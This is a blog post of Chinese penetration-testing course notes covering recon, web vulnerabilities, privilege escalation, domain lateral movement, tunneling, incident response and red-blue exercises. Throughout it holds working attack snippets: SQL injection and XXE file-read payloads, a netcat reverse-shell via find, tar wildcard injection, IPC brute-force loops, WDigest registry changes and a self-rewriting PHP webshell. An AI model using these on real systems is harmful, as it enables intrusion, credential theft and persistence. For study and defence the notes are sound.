小迪渗透测试笔记

信息收集#

CDN绕过#

CDN内容分发网络,运行在现有网络基础上的智能虚拟网络,使用户就近获取所需内容降低网络拥塞
判断:利用多节点技术请求返回判断(使用超级ping)

绕过:

  1. 推测真实ip
    子域名查询:可能子域名没有使用CDN,所以可以通过子域名推测主域名真实IP
    邮件服务查询:邮件服务器可能没有CDN
    国外地址请求:可能没有在国外部署CDN
    通过遗留文件
    扫描全网
    zoomeye,shodan fofa.so搜索指定文件
    查询DNS历史记录
    get-site-ip网站

  2. 找到后更改本地hosts文件

搜集内容#

  • 防火墙信息搜集:wafw00f工具
  • 程序源码CMS
  • 操作系统,数据库,中间件
  • 站点信息搜集
    • 目录型站点:不同目录下有不同应用,通过目录遍历
    • 端口类站点:不同端口对于不同应用,端口扫描
    • 子域名站点:不同子域名判断是否在同一个服务器
    • 查看是否有类似域名
    • 旁注,C段查询:旁注可能不同站点在同一个服务器上,C站同一网段有不同服务器
    • 网站搭建软件的搜集
  • APP通过抓包或反编译查看请求的web链接
  • 第三方应用,支付存储接口等

web漏洞#

sql注入#

首先明确注入数据库的类型权限
其次明确提交的方法和参数类型等
如果有高权限可以进行文件读写,命令执行等获取shell
否则可以注入数据库,对数据库信息查询,找后台登录

mysql#

一般思路

  1. 判断注入
    可以通过传入错误参数看页面是否有变化判断
  2. 猜解列名数量
    id=1 order by 3
  3. 报错
    id=-1 union select 1,2,3
    看显示的为1,2,3中哪个字段,比如显示2
  4. 信息搜集
    id=-1 union select 1,version(),3
    version()数据库版本
    database()数据库名称
    user()数据库用户
    @@version_compile_os操作系统
  5. 查询
    低版本通过爆破
    在mysql5.0以上存在自带数据库information_schema,它保存所有数据库名,表名,列名,所以可以通过它获取数据库下表名列名信息
    information_schema.tables记录所有表名信息的表
    informaion_schema.colums记录所有列名信息的表
    information_schema.schemata记录所有数据库名
    table_name表名
    colum_name列名
    table_schema数据库名

查询时多个数据通过group_concat()连接起来显示
多个数据也可以通过语句limit查询

文件读写操作

load_file()读取函数
outfile dumpfile写入函数
路径获取:报错显示,遗留文件,漏洞报错,平台配置文件,爆破等
如果有魔术引号:
magic_quotes_gpc是配置在php.ini中打开等
通过16进制编码或宽字节

明确注入参数类型

注入参数可能是数字,字符串,json等,所以在注入时考虑单引号,双引号,括号等闭合

明确请求方法

注入位置可能有get数据,post数据,后数据包头的参数,如cookie等

oracle和mongodb#

access没有数据库名

盲注

可能由于sql为插入,更新等操作,或网站的设置,在注入过程中获取的数据不能回显,需要通过其它方法判断

  1. 布尔盲注
    通过与逻辑进行判断
  2. 时间盲注
    使用if,sleep
    sleep(a,b,c)如果a成立则执行b,否则执行c
  3. 报错盲注
    使用函数floor,updatexml,extractvalue
  4. 常用进行猜解匹配函数
    like 通配符匹配
    regexp
    mid(a,b,c)从b位置开始,截取a的c位
    substr(a,b,c)从b开始,截取阿德c位
    left(a,b)从左侧截取a的前b位
    length()返回长度
    ascii()获得字符ascii码

二次注入
输入的参数被保存在数据库中,之后该数据被取出带入sql中,从而触发注入

dns带外注入
ceye.io

堆叠注入
多条sql语句一起执行(可以自定义一些语句,从而执行),可能有些数据库不支持这种注入

waf绕过#

通过数据操作绕过

  1. 大小写
  2. 编码解码
  3. 换用其它等价函数
  4. 用特殊符号,如换行符
  5. 反序列化
  6. 注释符,如mysql中的/**/

通过数据提交方式绕过

网站必须支持这种提交方式,比如get换为post

其它

  1. 参数污染
    比如在mysql中,同时给参数传入两个参数,它只接受第二个。如传入id=1/**-1 union select 1,2,3#*/由于/***/起注释作用,可能通过防火墙检测,而由于参数污染,传入的id值为-1 union select 1,2,3#
  2. 数据库特性
    如mysql中/*!50001 select * from test */
    表示如果数据库是5.00.01以上的版本,语句才会执行,可以通过这种语句干扰waf检测
  3. fuzz模糊测试
  4. 由于测试请求过于频繁,可能被禁止访问。这时可以通过修改user-agent伪装为官方的爬虫搜索引擎

文件上传#

验证的部位#

  1. 文件后缀名
  2. 文件类型即MIME信息
  3. 文件内容头信息

绕过验证#

前端验证禁用绕过js即可,后端验证分为黑名单和白名单

黑名单

  1. 特殊解析后缀(apache的php3等)
  2. .htaccess
  3. 大小写绕过
  4. 点绕过
    windows特性会在保存文件时自动忽略文件最后一个点
  5. 空格绕过
    windows特性会在保存文件时自动忽略文件最后一个空格
  6. ::$$DATA绕过
    php在window时,如果文件名后::$$DATA,那么会把::$$DATA之后的数据当做文件流处理
  7. 配合解析漏洞
  8. 双后缀名绕过

白名单

  1. MIME
  2. %00截断
  3. 0X0a截断

其它

  1. 文件内容头检测
  2. 二次渲染
  3. 条件竞争
  4. getimagesize和exif_imagetype函数
    php使用此函数获取图片信息,需要有文件包含漏洞,上传图片木马
  5. 目录命名
    上传如x.php/.的后缀名文件,依然按php文件处理
  6. 脚本函数漏洞
  7. 数组接受+目录命名

漏洞产生原因#

  1. 代码逻辑
  2. 解析漏洞
  3. 中间件漏洞
  4. 编辑器漏洞
    https://navisec.it/%e7%bc%96%e8%be%91%e5%99%a8%e6%bc%8f%e6%b4%9e%e6%89%8b%e5%86%8c/
  5. CMS

绕过waf#

更改数据包中内容
content-disposition
filename
content-type
绕过方法:

  1. 增加垃圾数据数据溢出
    如在content-disposition后增加许多无关数据
  2. 符号变异(' " 😉
    如更改正常filename字段为
    filename="x.php
    filename='x.php
    filename="a.jpg;.php";
  3. 数据截断
    %00 换行
  4. 重复数据
    如在filename中插入正常的数据包中的字段

xss跨站#

反射型
存储型
dom型:代码通过本地浏览器静态前端代码处理

beef

http only#

cookie中设置了httponly属性,通过js脚本无法读取cookie信息
未保存的账号密码通过表单劫持:实现在登录页面已经插入恶意代码,恶意代码监听登录中账号密码的输入
保存的通过通过插入恶意代码读取浏览器中保存的

waf绕过#

  1. 标签语法替换
    以不同的标签替换
  2. 特殊符号干扰
  3. 提交方式更改
  4. 垃圾数据溢出
  5. 加密解密算法
  6. 结合其它漏洞绕过

xsstrike
imxss

文件包含#

本地包含若无限制,可以直接读取执行文件内容,或者通过../../跨目录读取
若有限制,即通过include($filename.".html"制定了包含文件类型:

  1. 如果php<5.3.4且magic_quotes_gpc=off可以在文件名后使用%00截断
  2. 或者在文件名后加. ./ ? %23等垃圾数据到一定程度
    远程包含也类似

php伪协议#

http://www.cnblogs.com/endust/p/11804767.html

反序列化#

序列化是将对象转换为字符串,反序列化相反,对象的序列化有利于对象的保存传输和分享

php反序列化#

未对用户输入的序列化字符串进行检测,导致用户可以控制反序列化过程,从而导致代码执行,注入,目录遍历

php中序列化实现函数
serialize()将对象转换为一个字符串
unserialize()将字符串转化为对象
序列化后的含义
img

分为有类和无类两种,有类时,
php类中有魔术方法
__construct();创建对象时出发
__destruct();对象销毁时触发等

如果在反序列化时传入设计的序列化后的类,可能执行类中的魔术方法,导致攻击

java反序列化#

序列化作用:利用序列化将程序运行的对象状态以二进制形式存储在文件系统中,然后可以利用反序列化恢复对象
工具:ysoserial
java中序列化实现函数
ObjectOutputStream类->writeObject()序列化将字节流写到.ser文件中
ObjectInputStream类->readObject()反序列化

一段数据以rO0AB开头,那么这串数据就是java序列化后base64编码后的
以aced开头,就是java序列化后的16进制

逻辑越权#

越权#

  1. 水平越权
    更换身份标识后,获取另一个账号数据权限
  2. 垂直越权
    通过低权限身份,发送高权限才有的请求,获得高权限操作

csrf#

防御方法

  1. 用户发送请求时需要输入原始密码
  2. 设置随机token
  3. 检查referer来源,请求时判断请求链接是否为管理员正在使用页面
  4. 设置验证码
  5. 请求方式限制为post

ssrf#

由于服务器提供了从其它服务器获取数据的功能,却没有对目标做出过滤,可以利用此服务器访问原本无法访问的内网
可能存在漏洞的地方:

  1. 通过url分享网页的内容
  2. 通过url把原始的网页调优使其适合手机屏幕浏览
  3. 通过url地址翻译对应文本的内容
  4. 通过url地址加载或下载图片
  5. 图片文章收藏功能
  6. 其它调用url的功能

可以通过此进行漏洞扫描,指纹扫描,或者通过file,ftp等协议读取文件

xxe安全#

xml是数据传输和存储的格式。在应用解析xml输入时,没有禁止外部实体加载,导致可加载外部文件,造成文件读取,命令执行,内网攻击等危害
工具:xxeinjector
判断:

  1. 如果数据包中数据格式为标签格式
  2. 数据包中content-type为中有xml字样

内网探测
判断应用端口是否开放

Copy
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE foo[ <!ELEMENT foo ANY> <!ENTITY rabbit SYSTEM "地址“”> ]> <x>&rabbit;</x>

引入外部实体dtd

Copy
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE test[ <!ELEMENT % file SYSTEM "http://地址文件> %file; ]> <x>&rabbit;</x>

而该文件可以是读取系统中的某个文件,从而可以绕过一些检查

Copy
<!ENTITY send SYSTEM "file:///d:/test.txt">

读文件

Copy
<?xml version="1.0"?> <!DOCTYPE ANY[ <!ENTITY send SYSTEM "file:///d:/test.txt"> ]> <x>&send;</x>

读文件绕过

Copy
<?xml version="1.0"?> <!DOCTYPE ANY[ <!ENTITY send SYSTEM "php://filter/read=convert.base64-encode/resource=文件"> ]> <x>&send;</x>

读无回显的可以在读取的时候写到远程的文件中

其它#

java安全#

sql注入防御#

  1. 利用session防御,session内容正常情况下用户无法修改
  2. 参数绑定
    利用了sql预编译技术
Copy
String query ="SELECT * FROM users WHERE last_name=?"; PreparedStatement statement =connection.prepareStatement(query); statement.setString(1,accountNmae); Resultset results =statement.executeQuery();

使用PreparedStatement方式进行sql查询时,SQL语句被预编译存储在PreparedStatemen对象中,通过connect对象的preparedStatement方法调用PreparedStatement对象使用
PreparedStatement对象中?表示需要传入的参数,通过setString等方法设置参数,方法中前一个参数为索引号
使用PreparedStatement进行参数化查询可以阻止大部分sql注入
但是可以使用case when语句将order by后的orderExpression表达式中添加select语句

jwt安全#

json web token是一种跨域验证身份的方案。
jwt分为头部,声明,签名三个部分,以英文句号隔开,以base64url进行编码
头部中alg参数说明这个签名使用的算法,可以设置为none不进行签名
typ参数说明这个token的类型
签名时服务端有密钥,使用头部指定的算法对前两个部分进行加密作为签名

waf绕过#

信息搜集绕过#

数据包中更改请求方式,user-agent伪装成爬虫,更改包中数据模拟真实用户
请求使用延时技术,使用代理池用多个ip扫描

权限控制#

通过以下方法绕过:

  1. 变量覆盖
    通过控制参数来控制木马
Copy
$a=$_GET['x'];//传入x=b就成了$a=b $$a=$_GET['y'];//其实就成了$b=$_GET['y'] $b($_POST['z']);//传入x=b y=assert后就拼接成了assert($_POST['z'])
  1. 加密混淆
  2. 异或生成

代码审计#

工具:RIPS Fortify Seay
思路:

  1. 搜索特殊函数
  2. 搜索关键字
  3. 通过功能判定可能存在漏洞

权限提升#

漏洞溢出#

windows systeminfo查看补丁
wes工具可以进行补丁筛选,扫描漏洞

数据库提权#

mysql#

  1. UDF提权
    首先需要得到root用户密码
    可以通过数据库配置文件了解
    通过数据库备份文件查看
    利用脚本进行本地或远程暴力破解
    之后利用select version()查看数据库版本,利用select @@basedir查看安装命令
    <5.1 导出目录c:/window或system32
    =>5.1 导出安装目录/lib/plugin/
    plugin目录需要手工创建
    select 'x' into dumpfile '目录/lib/plugin::INDEX_ALLOCATION';

将写好的.dll扩展上传到指定目录后,需要CREATE FUNCTION引入
2. MOF提权

sql server#

  1. 使用xp_cmdshell提权
    默认关闭,需要管理员用户sa使用sp_configure开启
    开启:
    EXEC sp_configure 'show advances options', 1
    RECONFIGURE;
    EXEC sp_configure 'xp_cmdshell', 1;
    RECONFIGURE;
    执行:
    EXEC master.dbo.xp_cmdshell, '系统命令'
  2. 使用sp_oacreate提权
  3. 使用沙盒进行提权
    blog.51cto.com/11797152/2411770

redis#

  1. 利用计划任务反弹shell
  2. 如果以root用户登录,可以写入ssh公钥文件,从而直接登录服务器
  3. 低权限写入webshell

postgresql#

9.3-11版本中,管理员或者具有'copy to/from program'权限的用户可以执行任意命令

令牌窃取#

在已经有后门情况下
上传烂土豆,执行execute -cH -f ./potato.exe
msf使用窃取模块窃取系统用户令牌提权
use incognito
list_tokens -u
impersonate_token "NT AUTHORITY\SYSTEM"

dll劫持#

如果服务器使用一些第三方应用,可以使用msf生成dll后门文件,替换原有文件的dll,当该应用运行时就会获取webshell,从而可以进一步通过令牌窃取等获取权限

服务路径不带引号#

windows服务的执行路径如果没有带引号,且路径中间存在空格,那么操作系统可能将空格后的当做参数
所以可以制作以路径空格前的名字命名的文件,上传后,当服务重启后就可执行该文件
执行路径没有带引号的检测方法
wmic service get name,diaplayname,pathname,startmode |findstr /i "Auto" |findstr /i /v "C:\Windows\" |findstr /i /v """

服务权限配置不当#

使用微软工具accesschk查看用户对服务拥有什么权限,如果权限较高,可以上传文件,将服务路径指向该文件,服务重启后执行

linux#

漏洞扫描工具:linux-exploit-suggester2
信息搜集工具:linenum,linuxprivchecker

suid#

查找有suid权限的程序,其中可能有利用的程序有:
nmap
vim
less
more
nano
cp
mv
find
不同的程序有不同的利用方法如find为
touch xx
find xx -exex 命令 ;
反弹shell
find xx -exec netcat -lvp duank -e /bin/sh ;

cve-2016-5195脏牛漏洞#

定时任务提权#

  1. 查看有root权限的定时任务
    通过在当前用户的目录下/home/用户/ 上传与定时任务同名可执行程序
    定时任务启动时可能执行上传的文件
  2. 如果定时任务文件分配的权限够大,其它用户可以修改覆盖该等时任务,变成自己想要执行的文件或命令
  3. 利用通配符配合命令参数自定义命令提权
    备份时经常使用打包命令tar,如果其使用了通配符*,则可以利用
    首先向要打包的目录里写入
Copy

再生成两个特殊命名的空文件

Copy
echo "">"--checkpoint-action=exec=sh xx.sh" echo "">--checkpoint=1

当定时打包时,会将上两个特殊命名的文件当做命令参数执行,而这个命令参数又是运行了提前写好的xx.sh,而xx.sh的内容是生成shell,最终实现了提权

内网安全#

信息搜集#

  1. 计算机信息
    systeminfo 计算机详细信息
    net start 计算机启动服务
    tasklist 计算机进程列表
    schtasks 计划任务
  2. 网络信息
    判断存在的域
    ipconfig /all
    net view /domain
    net time /domain 判断主域
    nslookup 域名 判断域名ip地址
    net stat -ano 判断端口开放
  3. 用户信息
    对主域有控制权的用户
    domain admins
    enterprise asmins
    whoami /all 判断当前用户权限
    net config workstation 查看登录信息
    net user 获取本地用户
    net loaclgroup 获取本地用户组
    net user /domain 获取域用户信息
    net group /domain 获取域用户组信息
    wmic useraccount get /all 获取域用户详细信息
    net group "domain admins" /domain
    net group "enterprise admins" /domain
    net group "domain controllers" /domain
  4. 账户信息
    获取计算机上账户和密码工具:mimikatz(win)
    如果mimikatz被拦截,可以通过微软官方工具procdump获取密码文件后,再用mimikatz打开
    获取计算机上保存的所有密码信息:lazagne,xenarmor
  5. 内网主机信息
    对内网存活主机扫描
    for /L %I in (1,1,254) DO @ping -w 1 -n 1 192.168.1.%I findstr "TTL="
    功能强大的powershell脚本nishang empire
    使用:
    设置执行策略:set_executionpolicy remotesigned
    导入模块: import_module .\nishang.psml
    端口扫描:invoke_portscan -startaddress IP -endaddress ip -resolvehost -scanport

横向渗透#

计划任务#

在拿下一台内网主机后,可以通过minikatz得到主机中的密码信息
之后可以根据这些密码信息作为密码字典对内网中其它主机爆破
得到密码后就可通过IPC进行连接
之后可以执行创建计划任务,执行远程命令等操作,攻破该主机
逐步攻破内网

爆破时通过IPC连接

IPC连接失败原因
目标系统不是NT及以上系统
没有打开IPC$共享
没有开启139、445端口,或被防火墙屏蔽
密码,账户,命令错误

如果连接本地账户
net use \\ip\ipc$"密码" /user:用户名
如果是域内用户需要在后面改为```/user:domain\username

爆破时批量检测示例
如检测IP,就将上述命令ip替换

Copy
FOR /F %%i in (ip字典) do net use \\%%i\ipc$"密码" /user:用户名

也可使用python编写,编译为可执行文件

Copy
for i in ip: for j in user: for pass in password: exec="net use \\"+ "\\" +ip+'\ipc$'+mima+'/user:god\\'+user os.system(exec)

如果只能获取密码哈希值,可以如下解决
利用hash值认证,如:可以使用atexec-impacket工具
使用SMB、WMI等协议
通过hashcat等工具对hash值进行爆破
修改注册表开启wdigest auth

Copy
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProciders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f

之后对于win2012以下版本可以通过at创建定时任务,以上版本可以使用schtasks命令

smb#

当445端口开放,可以使用工具pseexec或smbexec使用口令或者口令的哈希值进行连接

wmic#

使用工具wmic连接

Copy
wmic /node:ip /user:用户 /password:密码 process call create "cmd.exe /c 命令 >c:\1.txt"

使用cscript,需要配合wmiexec.vbs
使用wmiexec

PTH,PTT,PTK#

PTH使用lm或ntlm哈希值进行连接
PTT使用票据凭证连接
PTK使用ekeys进行连接

如果有了KB2871997补丁后,不能使用哈希值进行连接,但是administrator可以,另外在打了补丁后可以使用ekeys进行连接

PTT是利用kerberos协议进行攻击
基于ms14-068漏洞可以伪造票据将自己的普通用户权限提升至域控权限,但是微软给出了kb3011780补丁

  1. whoami/user查看当前sid
  2. klist查看当前缓存票据,klist purge清空保存票据
  3. 利用ms14-068伪造票据
    ms14-068.exe -u 域成员名@域名 -s sid -d 域控制器地址 -p 域成员密码
  4. 利用mimikatz将票据注入内存

如果本机用于管理员权限,且之前和域控连接过,可以使用mimkatz导出之前使用的票据,再注入内存进行连接

工具ladon

SPN#

SPN在kerberos中用于唯一标识服务实例名称

  1. 通过setspn -q /查找服务,其中的服务可能有MSSQL,WAMAN,Exchange,TERMSERV,Hyper-V Host
  2. 请求该服务
    Add-Type -AssemblyName System.IdentityModel
    img
    img
    img

cobaltstrike#

代理技术#

ngrok工具
在官网配置好信息后,下载客户端到本机,并启动
本机生成木马,地址和端口绑定为配置好的代理信息,并在本机监听

frp工具

信息搜集几条命令
获取网络接口 run get_local_subnets
查看路由地址 run autoroute -p
添加路由地址 run autoroute -s 网段
img
得攻破目标1后,在目标1添加路由,然后通过msf开启本地代理
use auxiliary/server/socks4a
set srvport 端口
exploit
之后就可以在攻击机上通过该代理访问目标2

攻破目标2后生成正向后门,使目标2监听某一端口
接着使用msf连接这一端口

之后在目标2配置路由,开启代理

隧道技术#

常用隧道
网络层:ipv6隧道,icmp隧道
传输层:tcp隧道,udp隧道
应用层:ssh隧道,http/s隧道,dns隧道

为了判断目标是否支持该协议可使用如下命令
tcp: nc ip 端口
http: curl ip:端口
icmp: ping命令
dns: nslookup或dig

伪装icmp流量:工具pingtunnel
传输层:
工具portmap
工具netcat
img
img
img
img

应急响应#

工具PChunter64 hkkvjuvffo
获取执行列表工具 UserAssistView

360星图日志分析工具
elk日志分析
splunk日志分析

fileseek搜索软件
gscan 自动化响应工具
win日志分析工具 LogonTracer
应急响应工具箱 ir-rescue
工具
img

红蓝对抗#

awd#

  1. 备份网站文件
  2. 部署waf:工具aoiawd
  3. 修改弱口令
  4. 扫描后门:seay和audit workbench
  5. 关闭不必要端口
  6. 查看是否有特殊进程
  7. 代码审计
  8. 使用脚本对文件监控:自动删除,恢复,备份文件
  9. 使用脚本记录日志:分析攻击行为修复漏洞或者借鉴去攻击其它队伍
  10. 批量flag,自动获取flag并提交
  11. 使用不死马
Copy
<?php ignore_user_abort(true);//进程运行 set_time_limit(0);//无限制运行 unlink(__FILE__);//删除自己,防止查杀 $code= $file= //死循环,不断将code的内容写入file文件中 while(1){ file_put_contents($file,$code); usleep(1000); } ?>

不死马的防御:
ps auxww|grep 木马文件 找到pid,杀掉进程
重启php等web服务
和木马竞争,也用一个ignore_user_abort(true);的脚本,向file中写入无害的内容
创建和file文件名字一样的文件夹
12. 恶意发送一些流量,扰乱他人日志记录,浪费别人时间
13. 由于flag大部分可能为批量脚本利用,所以在发现别人攻击自己的数据包时,也可以利用此包攻击他人

护网#

文档书写参考:mitre ATT&CK
https://attack.mitre.org/matrices/enterprise

蜜罐:hfish
防火墙:openrasp
HIDS:yulong和wazuh
木马在线分析:微步在线云沙箱,奇安信威胁情报中心等在线工具

src#

查看最新公开漏洞
搜索
利用公开漏洞刷

或者下载网站源码,分析后通过搜索查找真实网站

java net反编译源码工具dnspy
js接口查找工具 jsfinder

posted @   启林O_o  阅读(472)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· PowerShell开发游戏 · 打蜜蜂
· 在鹅厂做java开发是什么体验
· 百万级群聊的设计实践
· WPF到Web的无缝过渡:英雄联盟客户端的OpenSilver迁移实战
· 永远不要相信用户的输入:从 SQL 注入攻防看输入验证的重要性
点击右上角即可分享
微信分享提示
CONTENTS